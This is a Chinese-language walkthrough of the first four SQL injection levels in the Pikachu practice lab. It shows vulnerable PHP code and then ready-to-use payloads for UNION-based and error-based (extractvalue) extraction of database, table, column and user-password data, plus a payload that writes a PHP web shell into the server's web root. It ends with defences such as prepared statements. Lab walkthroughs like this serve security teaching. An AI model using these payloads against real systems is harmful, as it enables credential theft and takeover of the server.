pikachu之sql篇前四关
字数 746 2025-08-11 21:26:16
SQL注入漏洞实战教学 - Pikachu靶场前四关详解
一、数字型注入(POST)
漏洞原理
数字型注入发生在应用程序直接将用户输入拼接到SQL查询中,且未对输入进行任何过滤处理。
核心漏洞代码:
$id=$_POST['id']; //未过滤直接使用
$query="select username,email from member where id=$id";
利用步骤
-
判断注入点
- 通过修改id参数值测试是否存在注入
-
判断列数
id=1 order by 3 # 测试3列时显示不存在 id=1 group by 2 # 也可用group by测试 -
获取数据库信息
id=1 union select database(),user() id=0 union select database(),user() # 使用0不显示原始数据 -
获取表名
id=0 union select 1,table_name from information_schema.tables where table_schema='pikachu' -
获取列名
id=0 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users' -
获取用户数据
id=0 union select 1,concat(username,password) from users -
文件写入(需足够权限)
id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php'#
二、字符型/搜索型/XX型注入(GET)
与数字型的主要区别
- 闭合方式不同,需要正确处理引号
各类型闭合方式
-
字符型注入
id=1' [payload] -- -
搜索型注入
id=1%' [payload] -- -
XX型注入
id=1') [payload] --
三、INSERT/UPDATE注入
漏洞原理
当用户输入被直接拼接到INSERT或UPDATE语句中时,可能通过精心构造的输入执行SQL注入。
利用步骤
-
确定闭合方式
- 通过源码分析或测试确定闭合方式,示例中为
')
- 通过源码分析或测试确定闭合方式,示例中为
-
报错注入获取数据库名
username=a' or extractvalue(1,concat(0x7e,(select database()))),'1','2','3','4','5')# password=6或
username=a' or extractvalue(1,concat(0x7e,(select database()))) or ' password=6 -
获取表名
username=' or extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e)),'2','3','4','5','6')# password=666666 -
获取列名
username=1 ' and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e)),'2','3','4','5','6')# password=666666 -
获取用户数据
username=1 ' and extractvalue(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31))),'2','3','4','5','6')# password=666666
注意事项
- 使用
substr函数分段获取数据,避免因数据过长导致报错 - 优先使用
and而非or,减少意外结果
四、DELETE注入
漏洞原理
当应用程序在DELETE语句中直接使用未过滤的用户输入时,可能导致注入。
利用思路
- 拦截DELETE请求
- 在id参数处构造报错注入
id=1 or extractvalue(1,concat(0x7e,(select database())))
注意事项
- 需要应用程序返回详细的错误信息
- 实际环境中可能受权限限制
防御建议
-
使用预处理语句(参数化查询)
$stmt = $link->prepare("SELECT username,email FROM member WHERE id=?"); $stmt->bind_param("i", $id); -
输入验证与过滤
- 对数字型参数强制类型转换
- 对字符串参数进行转义
-
最小权限原则
- 数据库连接使用最低必要权限
-
错误处理
- 避免向用户显示详细的数据库错误信息
-
Web应用防火墙(WAF)
- 部署WAF拦截常见注入攻击
通过本教程,您应该已经掌握了Pikachu靶场前四关SQL注入的基本原理和利用方法。请仅将这些技术用于合法的安全测试和教学目的。